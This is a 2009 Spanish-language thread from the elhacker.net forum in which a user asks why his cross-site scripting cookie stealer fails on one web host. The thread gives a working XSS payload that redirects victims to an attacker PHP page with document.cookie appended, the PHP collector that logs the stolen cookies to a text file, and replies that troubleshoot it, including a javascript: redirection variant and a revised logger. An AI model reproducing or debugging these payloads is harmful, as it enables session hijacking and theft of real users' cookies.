Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: achernar_ en 27 Febrero 2009, 20:40 pm



Título: XSS no envia datos
Publicado por: achernar_ en 27 Febrero 2009, 20:40 pm
uso el siguiente codigo:

Código:
<script>document.location='http://mipagina.com/archivo.php?x='+document.cookie;</script>


donde archivo.php contiene lo siguiente:

Código:
   1.
      <?php
   2.
      $fp = fopen("datos.txt", "a+");
   3.
      $cookie = $_GET['x'];
   4.
      $salto = "\n-----------------------------\n";
   5.
      fwrite($fp,$salto);
   6.
      fwrite($fp,$cookie);
   7.
      fclose($fp);
   8.
      ?>

Pero si el archivo php está hospedado en un servidor funciona y en otro no. En el que no funciona le di todos los permisos a la carpeta (777) y a los archivos que contiene para que pueda almacenar los datos, pero solo guarda la linea punteada "$salto", porqué puede suceder esto?

cuando la pagina vulnerable se redirecciona, en la url se ve todo el contenido de la cookie por document.cookie, pero estos datos no son tomados para ser escritos


Título: Re: XSS no envia datos
Publicado por: sirdarckcat en 27 Febrero 2009, 22:16 pm
haz escape(document.cookie) y asegurate que las cookies sean "leibles" por javascript.


Título: Re: XSS no envia datos
Publicado por: achernar_ en 28 Febrero 2009, 20:04 pm
El problema no son las cookies, porque en algunas paginas de webhosting el codigo php recibe la cadena con las cookies perfectamente, pero en otras no. Pensé que podria ser un  problema común, pero igual muchas gracias sirdarckcat.


Título: Re: XSS no envia datos
Publicado por: niñoweb en 1 Marzo 2009, 05:06 am
Mira creo que vi el error.

document.location estas trabajando sobre el documento

prueba con window.location :)

osea solo cmbia la palara document por window

:)


Título: Re: XSS no envia datos
Publicado por: sirdarckcat en 1 Marzo 2009, 11:13 am
jajaja eso no tiene nada que ver..


Título: Re: XSS no envia datos
Publicado por: WHK en 1 Marzo 2009, 23:39 pm
Hay algunos servidores gratuitos y otros de pago donde por defecto traen un filtro bién pobre y molestoso, por ejemplo si usaste una variable llamada "act" en get entonces no te funcionará porque lo mas seguro es que te aparezca acceso denegado (asi pretenden evitar  una c99  :rolleyes:), en ese caso trata de cambiarlo. Intenta hacer pruebas tu mismo y haz esto:

Código
  1. <?php
  2.  
  3. die('Test: '.nl2br(htmlspecialchars($_GET['x'], ENT_QUOTES)));
  4.  
  5. $fp = fopen("datos.txt", "a+");
  6. $cookie = $_GET['x'];
  7. $salto = "\n-----------------------------\n";
  8. fwrite($fp,$salto);
  9. fwrite($fp,$cookie);
  10. fclose($fp);
  11. ?>

Luego vas probando...
Citar
cookies.php?x=prueba
Te debe aparecer "prueba", luego intentas con una cookie y vas a google y escribes arriba tu redirección y vas viendo que te aparece:
Citar
javascript:document.location='http://www.miweb.com/cookies.php?x='+document.cookie;

Si te aparece biéne toda la cokie y las demás cosas en cookies.php entonces significa que tienes rpoblemas al escribir sobre el archivo, intenta reemplazar "a+" por "x" en el fopen.